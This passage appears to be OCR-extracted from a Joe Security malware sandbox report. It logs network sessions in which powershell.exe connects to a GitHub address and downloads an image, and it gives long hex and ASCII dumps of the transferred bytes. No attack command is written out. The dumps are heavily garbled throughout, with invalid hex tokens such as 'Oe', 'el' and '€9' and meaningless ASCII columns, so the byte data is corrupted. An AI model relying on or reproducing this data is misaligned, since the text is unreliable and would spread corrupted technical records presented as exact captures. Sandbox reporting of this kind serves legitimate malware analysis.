e6 a2 f2 e2 69 cc 97 e5 43 2¢ 11 36 db 9a 35 Oe 1a e4 3e 00 e9 d8 f3 f9 90 f9 6b e2 5f 81 9c d0 8d 5d c1 69 64 70 cb Ob
66 cd 2e da e6 90 20 76 a6 92 20 16 5c d4 92 4f 68 ee 7a e8 ef af 05 cf 43 28 9f 3a a0 20 fd 9d db cc 13 13 81 b6 8b Oc
el le fb f6 2b 45 ce 1d 46 94 71 03 eb 9c 4d 68 c5 cd ea 05 f1 1c e9 1e 3d 61 3b 3f df ae c6 Oc ec f2 2f 89 63 bc 84 08 62
ec 67 5f 13 1a 97 f9 ab 93 51 ¢6 03 45 cd c4 1f d4 cd 8c 51 54 da f8 88 36 23 ac 46 a4 e0 b2 ed 56 44 74 ff 7f b6 77 ba
3b 09 fe 7b b2 59 b3 0b 98 f1 63 1c 1f f8 d1 31 13 fb f1 d5 fO 8f d1 Ob 3c bc d4 5¢ 23 c0 38 6a ae 87 c6 25 76 20 95 9c {7
55 d7 56 11 5b b3 cb 5b 92 e6 1d a0 2d e7 46 92 d7

Data Ascii: fghNU:)t%ck#iC,65>k_Jidpf. v \OhzC(: +EFgMh=a;?/cbg_QEQT6#FVDtw;{Yc1<\#8j%v UV[[-F
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Timestamp transferred Direction
2022-04-20 13:07:42 UTC 3457 IN
2022-04-20 13:07:42 UTC 3458 IN
2022-04-20 13:07:42 UTC 3460 IN
2022-04-20 13:07:42 UTC 3461 IN
2022-04-20 13:07:42 UTC 3462 IN
2022-04-20 13:07:42 UTC 3464 IN
2022-04-20 13:07:42 UTC 3465 IN
2022-04-20 13:07:42 UTC 3466 IN
2022-04-20 13:07:42 UTC 3468 IN
Session ID Source IP Source Port
102 192.168.2.4 49861

Copyright Joe Security LLC 2022

Data

Data Raw: 7c 82 bf b2 a2 66 eb 73 fc 37 c4 76 76 ab bd 70 4c f1 {7 40 f9 ec cd 8f 1a 21 9a 4c 27 af 32 55 bf c5 cc 95 66
b2 ff 37 c0 ab b4 8e 27 cb 5 cO ff de 99 64 f1 17 99 89 €9 16 8d 03 7f 54 33 2d 92 2c e8 ce f0 f8 11 46 fd fb e3 ff 36 e6 4e
66 ed 76 e6 aa a7 cc 09 3d ab 7a 9e e2 2f 45 e6 b3 e2 b1 1c 68 92 1b d2 f4 5a fc 3d 06 8e 85 d8 ce 78 93 d2 4a c7 03 7f
el 48 7f 17 fd Oc ff 82 24 8e 79 al 36 a9 cf fO cf a0 78 ce d3 a7 14 11 a6 f8 3b 1e 42 ef 06 5¢c 65 94 37 bd e3 18 fc af aa
27 d0 c7 6d le 45 e5 e8 6e fa 5e 2a 30 2b fe b7 74 03 c2 d0 60 37 c5 bf Oe af 68 fO f6 69 9e ed 74 09 64 52 fc 59 a7 25
59 c4 6e 7e 6a e8 1f e2 al f8 2f df 16 ff 22 f9 79 e7 64 O f7 09 94 4f 52 40 5e d2 79 64 e7 fc 0a 44 95 d3 c4 c7 ac c9 bc
c4 19 80 bf fa 95 ae 77 24 8b bf dc 53 cb

Data Ascii: [fs7vvpL@!L'2Uf7'dT3-,F6Nfv=z/EhZ=xJH$y6x;B\e7'mEn**0+t 7hitdRY%Yn~j/"ydOR@"ydDw$S

Data Raw: 68 d4 b7 6¢ c1 dd 5e 5f 5f 80 a9 15 15 3 e5 al 12 f8 5a b8 49 ab 39 00 53 83 7f 6a 74 ba c4 7f 05 86 5a cf 2b
€3 5b 79 f1 €9 64 28 5¢ €6 a8 72 b6 70 f9 bd 5c cl df ¢5 66 ff 26 20 9a f7 63 97 9e 1a 7f 4c aa f6 e1 86 6d 3a al 28 5f 03
f1 2f f4 17 fc 31 d5 72 dc 89 ¢7 01 2d fe 86 2f 98 1d 02 10 06 9e €0 Oe d1 c7 Ob 60 de 69 89 4a 66 41 aa 4d 94 b6 68 58
91 8f f1 47 10 03 09 40 96 dd 56 01 1c cd dO 91 33 14 96 5e 92 e7 6 6 {7 e4 7c 44 6a 10 8b d4 25 ba 32 el 2 0b bf 4b
23 41 2e 3 96 9b a9 70 74 9e ee 5d ea 53 38 b1 82 3f db 9c 80 50 el 1f 31 a8 7d 76 41 c9 b4 Ob e7 b4 9c 8¢ ae 26 a3 63
e4 b2 41 d7 7 fe 05 ff bd 42 de 16 58 ¢7 d2 c0 53 e3 3f 70 bf ed el d7 a8 85 a0 07 d2 7f 21 c7 8d 58 1a 2f 2d c3 17 4a 87
28 3e 5e 29 24 dd 28 01 96 23 25 50 €9 be 44 97

Data Ascii: hi*__ZI9SjtZ+[yd(\rp\f& cLm:(_/1r-/ifFAMhXG@V3%Dj%2K#A. 2pt]S8?P LIVA&CABXS?pIX/-J(>N)$(#%6PD

Data Raw: ec 53 d1 da 96 d1 8f ba e0 2f 07 62 fd 61 b7 77 f1 57 7e al a5 57 e0 5f 6¢ ¢6 5a 5d ba 90 bd 6d 25 c8 59 Oc 3e
c4 da d8 ab ed 66 d8 35 b2 8f 06 7f cf 5e 54 c1 bf cc 2e 96 3f 21 2a 46 2e dc f5 64 3c 37 8b 45 7c ba 83 bf f2 53 4a cb a4
d5 33 e3 7f 5f 9 fa d1 9c 43 9b d9 20 1 92 2a 5a cf e3 8f Of 8f 6d c9 97 ef eb 7b ef 75 7b bf fe f9 28 ca 59 51 3e 3f 3e 78
1a 76 65 el cb 5e 4e 2a 07 a4 0f 88 94 5 9d 6e fd 63 78 3c 3f fe 9f 95 6¢ d6 7b 4f 14 6b fc 7b be 38 Ob 26 f5 35 d1 fc 43
83 f2 0e el 97 e0 3f 91 ea 57 07 fb 74 f8 f7 bc 60 56 5f 14 3e 23 d7 16 6f fe 97 e0 af 23 b0 4c 66 4a 40 f4 cf 86 7f 8f 46 54
5f 15 03 c4 71 32 23 1f 4f fc 06 fc f9 95 14 48 5e 5d 26 c6 55 f5 7¢ 71 32 ac fa b2 98 88 5b dc f4 9b 7e e4 dO 4f d6 da 29
77 d6 7a d6 d1 da d1 e8 fe 1b 9f

Data Ascii: S/hawW~W_IZ]m%Y>f5AT.2I*F.d<7E|SJ3_C *Zm{u{(YQ>?>xveN*ncx<?{Ok{8&5C?Wt'V_>#o#LfII@FT_q2
#OHN&U|q2[~O)wz

Data Raw: fd 35 fe e5 52 b5 fc f8 ab bf 61 cc 4c dO fe ec ea ff 52 el bf 36 28 64 2e 69 b3 87 19 4e f3 3a f4 b1 ab 7f 30 cc
5a e3 3f 36 a7 95 76 ef 1d 47 e4 1b fd d8 3d bb 13 20 f1 2f 2b 90 2f ae fe 93 28 d8 78 85 25 fe ed d5 3f 5d 7a 76 a5 3d {7
e3 f8 7f f2 d5 7f c1 fO 4b ae fe d2 2f cb €3 87 f1 a7 c0 93 3b 20 ef fd 79 ¢3 2b 8d af bc 2b 1f 79 20 f6 94 35 8a a7 97 d1 1c
52 05 5f 7b 9a 19 31 aa 8c ¢8 c7 3a fa ec de df 9f 2c d1 52 7a 9c e4 d7 a2 e6 38 08 bc b8 8c 78 c¢8 b3 2b ed b9 12 7f 7b
7a 2b le c5 10 0b fe 59 e2 cf 32 65 ec 8f db 79 7f 2e fe d2 7a 36 97 25 Oa c1 3f 80 ff 08 a7 59 a0 7e f2 23 95 be 2b 20 8c
af 5b 5b 11 eb 31 fe 6¢ af 69 ac dc 8a 48 fc a5 01 97 77 3f bc 7 71 04 43 5e fd 35 10 4e 96 88 33 33 40 6e €8 91 15 13
85 8b b6 b6 ff 72 f1 e4 25 45 46 da 73

Data Ascii: 5RaLR6(d.iN:0Z?6vG= /+/(x%?]zv=K/; y++y 5R_{1: Rz8x+{z+Y2ey.z6%?Y~#+ [[1lIHW?qC"5N33@nr%EFs

Data Raw: 16 38 2f 47 ec ca 88 1b 17 ad 65 b3 69 5f 7f 27 bf 33 57 f3 0b 52 b3 5b 1f 3b ¢3 19 c4 aa b4 8a 30 63 a9 20 3d
bc 05 7f 39 44 e5 07 16 8b ¢8 65 6d ca 3a 2c 3b 83 a5 39 89 ff 95 cd 38 ae 65 39 ab 2d 08 f5 6¢ b4 43 90 5a 84 ed f4 ca
ef 58 9a 93 6e 4c ca ec 23 00 a8 f0 d7 03 22 15 6f 0d 27 71 e6 20 39 e5 37 f3 94 f8 Ob 25 ed b4 01 dO 2a 6¢ 2d 12 c6 7¢c
b3 fd 2e 2e 6¢ 2f e8 6d 95 d2 b0 99 6b 13 96 4c dd ef 11 fe 31 a6 ec e7 €9 e6 a6 25 fe 73 9e 00 93 b3 a6 44 8c 15 64 26
20 e6 76 c4 6e f3 12 26 60 a4 fc 36 e5 db f1 72 93 e9 c6 f2 46 ab 1c b5 8c cf 2b 30 e5 ec 8b 66 77 72 88 ad 36 17 98 b7
01 2d bb ea 98 6e bc 81 ba de 0d f3 b4 e9 71 47 20 6a e2 df Oe 31 90 2 25 fb 79 c4 e0 1a fc 47 bc b7 37 db 7d 2a f3 7b
31 a5 4d 44 3c c3 5f 6a 8b b9 00 c5 fe cb 2d 10 9e 65

Data Ascii: 8/Gei_'3WR[;0c =9Dem:,;98e9-ICZXnL#"0'q 97%*I-|..I/mkL1%sDd& vn& 6rF+0fwr6-nqG j1%yG7}*{1MD<_j-e

Data Raw: ef dc ee ¢7 e6 11 fc 75 a4 1e 17 ce 73 91 c4 10 d9 51 9c b2 49 68 af fe 6a d8 ea 53 f3 94 e0 56 b5 f5 ef cf f1
97 da e2 13 fc 39 bb b9 7a f0 e5 70 a4 10 74 40 e4 05 06 fa c8 a4 2c f1 a7 e6 fd 04 7f 31 e5 27 c6 5f 4d ad bd 57 a5 62
9e fd 23 fc 29 94 75 f9 02 7f 76 04 c3 ba 6¢ 6e 01 92 fc c2 0b 97 06 c¢7 11 d5 92 5f 7f 89 3f 45 ¢5 8d 0d 98 €7 11 c4 64 5b
ed ee a8 le c1 5f 79 da 73 9d 29 8b 24 87 c8 59 dc ba 29 f8 b7 02 e2 c0 c¢3 98 06 61 12 12 f8 4b 6d f1 09 fe d2 b3 cc 61
38 ad 64 2c 38 6¢ 2e be 30 29 4b fc 59 22 5c e0 cf 29 2f fa a9 f1 97 8a 5a 9a 67 8d fa 23 fc d9 5e 9a fd 1d fc bd 2d f8 6b
b0 9b 15 58 ef €9 75 4c 19 f1 39 fe ac 7a 60 03 d6 96 80 ed 25 92 51 72 f2 77 f1 e7 24 dc 36 db b2 48 72 88 5b f2 98 92
cd aa c5 bf d4 cf ad 8f 38 ab 73 fc 65 bl 33 fc

Data Ascii: usQIhjSV9zpt@,1'_MWb#)uvin_?Ed[_ys)$Y)aKmasd,8l.0)KY"\)/Zg#"-kXuL9z %Qrw$6Hr[8se3

Data Raw: 3c 51 e4 d1 17 17 40 34 f5 Ob a6 9a c9 ca 71 91 fe 16 53 75 80 3f db a3 92 65 6e 35 c9 al 8¢ 36 70 a5 91 a6
c2 ae 17 32 e3 80 7d Ob 2a fc 31 12 5f 2a 9c ¢3 9d Ob aa 81 d3 4a e2 6f f0 96 Ob fe b4 ef f8 b7 b7 5 9b f0 e7 cd ce 84 29
51 fb 77 82 7f 12 d7 20 89 bf af 3f al c7 62 2d 4d 6 1c ff 09 68 1e 43 b0 c3 c2 86 64 55 4f 11 ce 73 95 a5 ec a4 8c 48 03
b6 f8 8a 2f f1 57 81 e2 60 ff 10 fe b2 01 f6 34 57 a6 63 2d 1d 44 84 95 el ea b6 72 €0 34 6d cd 16 fa e5 c4 ae 5a 5¢ d9 de
06 ab 83 91 a3 ad 6e 95 9c 5d a5 de ca a4 44 9f 85 c0 3f 96 4d d1 f7 f0 8f 18 79 6d 10 f8 fb 88 a8 Oa fe 16 c3 7 3f f9 19 6f
a3 4d 98 ¢3 6d bc 11 f9 04 ff 20 d6 fc c4 ec e4 60 28 45 65 ce f1 2f e4 7a be 6d 86 76 2f 99 04 06 ce b4 06 d6 09 4e 76 25
7d c5 d7 f8 2b 3f 6d cd c7 fO 67 f8 9b

Data Ascii: <Q@4qSu?en56p2}*1_*Jo)Qw ?b-MhCdUOsH/W 4Wc-DrdmZ\n]D?Mym?oMm “(Ee/zmv/Nv%}+?mg

Data Raw: 6d b1 21 c2 34 5e dc 29 al d8 60 63 74 60 83 02 ff 22 1c d7 11 ec 81 83 77 83 43 64 57 €6 d6 95 bb bl cb 63
a4 7d Oc 03 eb 6d f8 00 43 a2 ¢3 96 1f db 25 81 15 b6 b3 d3 ed d0 c1 da Ob fc 59 2e 0d 80 9b cb 5a 86 6d e0 6e 88 70 6b
237 75 2c 98 60 2b ca 19 de 7c bl fc e0 b0 31 58 da db fb 2d 9a 64 39 5a 56 a6 27 39 08 99 71 38 bd f7 8f 40 2¢ 35 ca
5a8a 1b 97 b9 71 98 46 a4 Ob fc 8b c4 f8 2d a8 6f c4 5f 83 53 70 48 82 71 6f 3f 8¢ bf 70 ca e6 52 8¢ 74 ¢3 4d 8a c5 bc dd
4b 25 98 da ac 1b 27 25 f1 17 cf 67 44 0f 6a 7e 01 00 ab 0d a2 f4 15 97 01 25 c2 01 38 61 b0 65 d1 03 33 62 68 f5 c0 26
6e 47 d7 8 f3 81 a4 4b be b5 09 73 ce b3 97 72 5f df 4e 55 7e fd 5d el 74 99 19 65 c2 a2 3d ce 60 51 c7 a3 55 3a 44 80
0b 27 64 c6 67 f8 87 ad 8b 61 55 62 2d 85 b4 d4 be bd

Data Ascii: m!4%) ct™"wCdWc}mC%Y.Zmnpk#u, +|1X-d9ZV'998@,5ZqF-0_SpHgqo?pRtMK%'%gDj~%8ae3bh&
nGKsr_NU~]te="QU:D'dgaUb-

Data Raw: 29 38 64 4c ed d2 15 7e 5b e2 9f 1a bd ad c4 bf e8 0b 0d 30 51 28 d6 f1 ff 6d f8 67 cO 22 29 e2 2f 0d ba 12 ff
la 44 7e 0d f6 11 c4 3f 09 83 6e 26 a0 f2 a6 28 le e2 5f 9b 80 05 fe 3a 16 13 9c 8f 88 aa cl 7f 15 7e 5b 05 d0 48 e7 60 Of
1 cf 40 f4 34 7f 02 51 1d e2 ff ba aa 1f 9c 8e bf 4a 28 3¢ 6¢ c7 71 2e 06 5d 89 ff 5e 23 ef dc 84 5b 49 47 fc 1d 96 9b 42 96
10 ab 49 98 fa c3 5e 25 b9 63 fc d5 02 8c 37 13 30 78 db c4 cc 6e 93 04 2b 1d b6 ca c4 ff dO 6f Ob 38 4c fb 34 bc 92 f8 73
2c dl1 e8 5b 5d 54 92 ec cc cc db 71 52 3f 34 1d 7f e9 fd 6d Oc ba d3 19 fe 3a 6e b4 78 b7 59 7b 63 f9 ea 1b 76 85 ec 20
le 80 32 52 7a 2b f1 2f 3a df 50 fa dd b3 de 5e 1a 22 00 b7 aa 82 ff 89 8d 77 aa 65 b5 12 7f f2 0f 36 38 73 51 4a ec fe 87
6¢ d5 f3 97 e3 ef bd 3a c5 5f 3b d8 1a

Data Ascii: )8dL~[0Q(mg")/D~?n&(_:~[H @4QJ(<Ig.] #[IGBI"%c70xn+08L4s,[[TqR?4m:nxY{cv 2Rz+/:P "we68sQJl:_;

Destination IP Destination Process
Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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Timestam
P transferred

2022-04-20 13:07:42 UTC 3468

2022-04-20 13:07:42 UTC 3469

2022-04-20 13:07:42 UTC 3469

2022-04-20 13:07:42 UTC 3471

2022-04-20 13:07:42 UTC 3472

2022-04-20 13:07:42 UTC 3474

2022-04-20 13:07:42 UTC 3475

2022-04-20 13:07:42 UTC 3476

Copyright Joe Security LLC 2022

Direction

ouT

Data

GET /images/modules/site/home/community-readme-2.png HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 26322

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Tue, 08 Dec 2020 22:46:32 GMT

ETag: "5f343bc5814b61036489338c59da01fb"

Content-Type: image/png

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 1601

X-Served-By: cache-iad-kiad7000117-1AD, cache-mxp6961-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-1D: a063e2088c44ef001277d0f7ddf3d61a686ef46e

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 02 fe 00 00 02 da 08 03 00 00 00 7e 86 a7 ab 00 00
02 fd 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff f ff ff f £f £f f £ £f F £F £f £F £f F £ £f F £F £ £F £ F £F £ 67 £F £ 6 £F 7 £F £ 6F £F £ fF £ £2
2 f2 ad ae b0 76 79 7c 4d 51 55 32 37 3b 24 29 2e ad af b0 e4 e4 e5 84 86 89 84 87 89 92 94 96 3f 44 48 5a 5e 62 91 94
97 c8c9ch el e4 e5 9fal a4 4¢c 51 55 d6 d7 d8 92 94 97 91 94 96 f1 2 f2 5b 5e 62 cO c3 c7 82 88 8e 40 43 48 a0 al a3
ba bc bd 69 6b 6f ab af b4 58 60 69 32 36 3b 3f 43 48 ac af b0 ad ae b1 9f al a3 ad af b1 4c 52 55 c8 c9 ca bb bc bd 68 6
c 6f b6 b9 bd eb eb ec a4 a5 a6 62 6a 72 77 7e 85 el e2 e2 6d 74 7c f3 f4 5 96 9c al bb bb be 83 87 89 d5 d7 d9 ac af b
1f5

Data Ascii: PNGIHDR~PLTEGpLvy|MQU27;$).?DHZ bLQU[*b@CHikoX'i26;?CHLRUhlobjrw~mt|

Data Raw: 5f 82 fe e7 75 ee a3 ¢9 11 6a 7c d9 90 1d 04 50 bd 82 1d al 60 49 85 10 92 c2 a2 6a fd 2f 72 9b 76 c3 11 1d
34 5b 7 15 97 49 al 0f 90 14 52 44 4d 24 €9 6a ab 06 a2 28 7c 60 88 1c e9 b0 90 9d ee d3 27 be 5e 7f 5¢ f1 7d 48 7f 43
al 98 af 530 1c 01 8a 42 56 15 e7 3a df aa ff f5 f1 ec c3 fc €6 16 a7 f3 85 f3 fd ee 74 b1 b8 59 de b5 fa ef 8d fe 92 8¢ ea
bf 1a 35 be ac dc 30 58 e7 52 52 c6 9a 3c 73 d2 34 18 a7 7f 42 39 26 79 e2 af a9 b4 59 78 27 aa 4c cb a4 24 4f 38 26 b3
7a 7175 1c c7 be 6d b5 04 3b 96 75 60 68 da ea 47 6f 3f 3a a7 da a6 ff 34 a4 bf e0 47 9c 73 b0 36 84 24 8d d5 ff 13 ab
24 28 db ae ff b2 3c 9d cf cb 85 fd 55 7e 06 30 5b 94 e5 7c 51 de b4 fa ef 8d fe 24 61 99 68 f9 05 Oe 5f f6 95 6b 28 cd 04
40 e2 92 e4 35 45 14 75 91 44 50 82 a3 ba 2a 8e

Data Ascii: _uj|P’1j/rv4[IRDM$j(| " \}HCOBV:tY50XRR<s4B9&yYX'L$08&zqum;u"hGo?:4Gs6$$(<U~0[|Q$ah_k(@5EUDP*

Data Raw: 9f c1 da 43 bd bf 3 23 cd 30 fa 9f 68 10 bc e8 88 a0 92 e4 33 74 7b 60 d5 55 14 b5 83 43 68 ef ce 6b cd 79 45
€9 03 ¢0 40 d7 40 d7 e7 3b e8 cb 12 Oe d1 1d 80 5d 87 17 d1 91 bb 38 80 71 86 1a c8 b0 3 7a 9e d0 03 9b al 81 c3 74
d4 97 60 fe 27 f9 13 61 34 36 85 Oe 88 46 2e 2c ed 12 14 17 57 36 1c fb 65 0d 02 10 da 33 e8 93 b1 9 36 70 79 fe 3a 26
60 7 6 ba 77 49 34 80 b 1c 45 37 bc b9 1d 2b d0 08 14 57 d2 40 35 fd 69 86 f9 15 07 a2 91 d7 23 c0 4e f3 ee de bf de
8a e9 6a fc 95 4f 66 57 Oe be ef 01 c2 5e 59 f0 81 10 90 6f ce 09 e8 16 d7 cb 97 9 22 6¢ 80 49 bf 19 68 8 7e 21 8d 10 d4
10 99 63 ef 1e ff 3e c0 b1 e7 3f bc 1b c2 98 28 71 60 ae 1e 3e 9e Oe a9 9 27 c9 bd 63 8b 69 16 75 d3 77 44 9f 51 e6 9
03 d1 5¢ 1f 42 90 0d 16 8e €9 1a b5 f2 2f 6 47 2d cd

Data Ascii: C#0h3t{' UChkyE@ @;]8qzt 'ad6F., W6e36py:& WIAE7+W@5i#NjOfWAY0"llh~1c>2(q>'ciuwDQ\B/NG-

Data Raw: 50 7d 45 28 10 d7 80 c0 9b ca 02 07 50 43 fa 3a 25 e2 25 c7 80 06 b9 02 bc 48 16 3f 8c b7 55 5f 09 84 b7 bc
58 c6 69 8e f1 b0 1a c6 2c d6 df 71 c7 ef 1e 47 89 37 ae 0a a6 29 99 51 a6 75 df fa aa 6a 7d 00 18 f3 7d 45 34 7d 5d Od
a3 91 69 5d 56 28 51 1f d2 38 30 43 9e 03 96 c9 5d 2d f1 7d 2d 01 af 92 6b 08 69 ba 2c €8 a8 0f €9 3d df ba ef ab fc e9
c5 df e2 6f f1 b7 f8 5b fc 2d fe 16 7f 8b bf c5 df e2 6f f1 b7 f8 5b fc 2d fe 16 7f 8b bf c5 df e2 6f f1 17 76 ba Oc bc f1 be ab
13 c0 5b e4 09 84 Oc ee 07 29 2a 7c 9a €6 20 06 54 fc 97 73 62 36 ae 3e f1 0d 60 d5 c7 3f 54 49 4c f2 e2 5f 47 ¢8 1b 57
b3 f1 9f 52 49 54 f1 af 11 1b f9 f1 7f 3d 42 aa fa ea f8 8f 53 de a3 a4 e8 e3 bf 2a 08 bc 04 67 ¢8 93 19 d3 2a b1 a9 fa 9a
57 31 13 9c €6 18 4f 01 1b 7e 18 eb 5f 77 c7

Data Ascii: PYE(PC:%%H?U_Xi,qG7)QUj}}E4}]i]V(Q80C]-}-ki,=o[-0[-0v[)*| Tsh6>"?TIL_GWRIT=BS*g*W10~_w

Data Raw: da 33 14 al e4 25 f9 cb a0 62 84 aa f5 51 72 a0 fa 8a b5 a9 bf 71 40 ef 65 ca 48 62 65 da 51 f3 3a 43 Oe 51 c8
9f 17 a6 72 96 1b 35 7b 2e 37 52 d5 7f af be 47 f8 e6 77 34 f3 ea ab ff dc 65 9b c7 27 2e eb d5 7 47 3f 76 f5 13 €0 a7 e4
cd 5d fb ea eb df 1f d5 30 8e €8 3f 77 f9 7f fe ea bb 7b e2 7f db 63 b8 ee 99 b0 70 20 e0 02 fb 1b fa 26 fe 16 7f 8b ff c8 4b
72 c3d7 6 5d 77 70 e8 aa db ae 13 f9 a7 91 bb fb 27 fe 16 7f 8b ff f0 3d 57 3d 73 d7 0d 8f 7d f5 81 83 b7 3c f1 a5 91 c7
6f 79 aa 7f e2 6f f1 b7 f8 €3 €6 67 6f dd b7 ff c1 ab f7 df 7a e0 ab 0Of 3f f3 58 f9 be 3e 8a bf c5 df e2 7f c3 Ob b7 57 6f 7d 69
€4 99 07 47 46 fe 66 ff b3 f8 bb 03 fd 13 7f 8b bf c5 7f df 9d 8f e2 d6 a7 82 6b 5f b8 el ea 91 2f dd 7c 5 43 7d f4 6f 7f 8b
bf ¢5 bf 0 a5 01 3c 30 22

Data Ascii: 3%bQrg@eHbeQ:CQr5{.7RGw4e'.G?v]0?w{cp &Krlwp'=W=s}<oyogoz?X>Wo}iGFfk_/|C}o<0"

Data Raw: db 97 9e 57 87 5c ce 48 8a ba 2f 95 8c 39 9f 8¢ fc 91 ee e2 f8 5b 59 d9 72 23 2b 2b 5b 6e 74 06 99 cd 45 33
e4 22 c2 26 25 82 5a de 12 al 49 e0 e4 29 57 5b d8 24 9e 00 12 b5 37 e7 04 cf 8f €3 15 e2 49 a0 a2 36 2a 1d 73 8 5e ac
97 1b e5 6f 54 aa 67 96 1b 15 d5 3e 9f 36 b9 e2 97 f5 34 24 7f 43 50 1b 32 45 d3 14 dd f7 72 96 f5 04 c0 80 32 1d 67 49
c6 74 ce cf ab a5 4c d3 bc cd 45 f3 90 26 4d b5 a4 85 21 72 a2 4c 8b 5e d2 04 e6 ¢9 9d fc e5 46 6f ab cd 45 c7 94 a4 08
51 7d 15 54 eb 89 32 6d 92 43 a4 3b 2c 5d 5a 48 11 35 7c¢ 32 26 fd 48 71 8¢ 1c db 9f bb 7c 72 7b 7d b3 bf f1 69 7f ee 62
af be 16 7f 8b bf c5 df e2 6f f1 b7 f8 5b fc 2d fe 16 7f 8b bf c5 df e2 6f f1 b7 f8 5b fc 2d fe 16 7f 8b bf c5 df e2 6f f1 97 a2 ab
1808 c9 a9 62 01 62 4a 04 65 1e 17 80 94 1c

Data Ascii: W\H/9[Yr#++[ntE3"&%ZI)W[$716*s 0 Tg>64$CP2Er2gItLE&MIrLAFOEQ}T2mC;,]ZH5|2&Hq|r{}ibo[-o[-0bbJe
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Timestamp transferred Direction
2022-04-20 13:07:42 UTC 3478 IN
2022-04-20 13:07:42 UTC 3479 IN
2022-04-20 13:07:42 UTC 3480 IN
2022-04-20 13:07:42 UTC 3482 IN
2022-04-20 13:07:42 UTC 3483 IN
2022-04-20 13:07:42 UTC 3484 IN
2022-04-20 13:07:42 UTC 3485 IN
2022-04-20 13:07:42 UTC 3486 IN
2022-04-20 13:07:42 UTC 3488 IN
2022-04-20 13:07:42 UTC 3490 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 59 6b cd d5 bf 2f b3 09 5b 21 1a 9d bf 5e 59 b5 cf 1c 07 ef 3d f9 ef 9a c9 8f c9 al f9 a7 a8 fc 73 f5 a5 b2 aa 87
16 31 b0 32 dd fc 31 35 3f cd 5f €7 59 66 77 b6 1le 71 7a 2c a2 d1 f9 7b cd b8 a9 16 30 {7 f2 d7 a7 97 65 Oc 17 eb b8 18
35 df59 52 a3 cc b2 12 95 70 eb Ob 07 al 2f 7f 3d d4 4b b0 31 00 77 7d ba 44 a3 f3 5f c6 9d ff ac 82 99 f4 e4 2f 16 47 71
el b4 c3 fc 3a ff 65 09 95 ¢9 25 3f 2c 7f c9 al 74 e3 b3 40 25 12 a2 f1 9 9f 6a 5b 9f 5f b4 b3 de fc 65 ed 50 99 15 d2 e6 2f
eb 99 e6 af d6 5f 50 9b 79 €9 4a 77 31 80 fc 67 f9 eb 6f 07 f1 dc 74 4e 77 04 62 fe a3 14 de 1b €9 32 Ob €9 32 7e 32 29
8c dc b6 90 41 fc 7e b2 bf 7c aa 9f 14 42 f4 cc fc 89 98 3f 11 3 27 62 fe 44 cc 9f 88 f9 13 31 7f 22 e6 4f c4 fc 89 98 3f 11 f
32762 fe 44 cc 9f 88 f9 13 31 7f

Data Ascii: Yk/['"Y=s1215?_Yfwqz,{0e5YRp/=K1w}D_/Gq:e%?,t@%j[_eP/_PyJwlgotNwb22~2)A~|B?'bD1"0?'bD1

Data Raw: ff f1 9f 90 c5 5a 4e 4a 7 f8 b8 57 df 2b c0 45 fc 49 bf 01 1a fa ca 43 bb ef 63 82 8b dd 15 60 c8 12 a7 9f 6b 1f
e2 3f 39 Oe ff 44 Oe el 6f 69 d5 26 e6 a2 cb 66 32 49 ce 2a cc 39 5f cc 2c ¢5 5f a2 4e f0 af 93 17 95 17 f1 ff 9e ee 2b d1
25a09c c2 fd a8 3d f1 77 fd ¢5 72 10 af bc bb 64 al 83 39 f4 88 8e 8a cd ee cc d7 6¢ d7 2f e0 ef f1 e7 9d d3 ef 04 77 9e
5e 63 f3 dd 49 ed fc b0 00 c4 69 81 f9 68 10 7f 0a 88 3f €9 6f b9 e5 d5 81 37 61 de Ob 33 b0 5d 34 92 22 13 62 8f b1 50
74 9f f5 el 3f 83 c8 ec df cO 9f df 8a ab 04 81 c5 de 13 86 €3 da 9c 6a ce 17 83 4f f1 cf f6 f1 2f 38 0d 78 38 06 7f cf 8c a9
3149 02 ef 8d 8b 75 3b 84 bf 3 f2 71 2e fd df 0d ef d7 d9 a8 58 47 3d 2b 33 c5 6f ed c3 8b 1f 2e 72 63 a7 el 85 b0 35 bc
d2 b0 eb d5 89 el 9f 25 d3 58 6b c0

Data Ascii: ZNJW+EICc'k?9D0i&f21*9_, N+%=wrd9l/w"clih?07a3]4"bPt?j0/8x81lu;q.XG=+30.rc5%Xk

Data Raw: 4d 26 63 d7 b7 ef 3f d5 00 f4 32 b3 a4 d8 bc 0a 46 4d 36 88 3f 83 ed c5 9f 73 a3 a7 bl 4e 94 b5 92 a0 d7 c9 c6
27 b3 c8 dc 64 b3 95 3f 5e 46 1a 8a d0 3c 37 27 fc 3f 3d e4 ce d5 79 5f 7f 19 73 72 e5 b0 3e cf b3 79 bc 8¢ f8 12 b8 27 66
59 cd ce c8 6¢ 22 65 7e 6¢ 38 ec ea d5 a8 e3 50 b6 eb 7c 30 d3 03 8e a9 3d 18 46 59 7e ee fe 5f ec 9d 4d 8f db c6 b6 ae
47 5 03 d8 45 2e 15 d3 25 51 0a 4d 15 dO b6 00 d9 92 db d2 d8 8d 03 61 03 f6 3c a3 3b c8 dc 7f 7d 9f 64 e7 e2 ec 8f 1c
e0 5e b1 8 62 3517 58 0a d5 56 c7 72 67 bd 93 b4 d8 e4 aa 0f 3e a2 a8 72 87 4f 66 46 26 b1 cc cO 8d 80 62 87 31 9c 4e
8d 03 c7 8d 26 3d 2e 4c da f9 34 e8 83 4e e4 02 bc 46 a6 be b9 e9 af e5 a7 02 fc bf a7 28 fe f8 fb 12 4d 92 e9 5b 7c 37
99 lac5 ff 25 a5 Oe 39 d6 f5 34 89 04 a2 dO dc 6¢

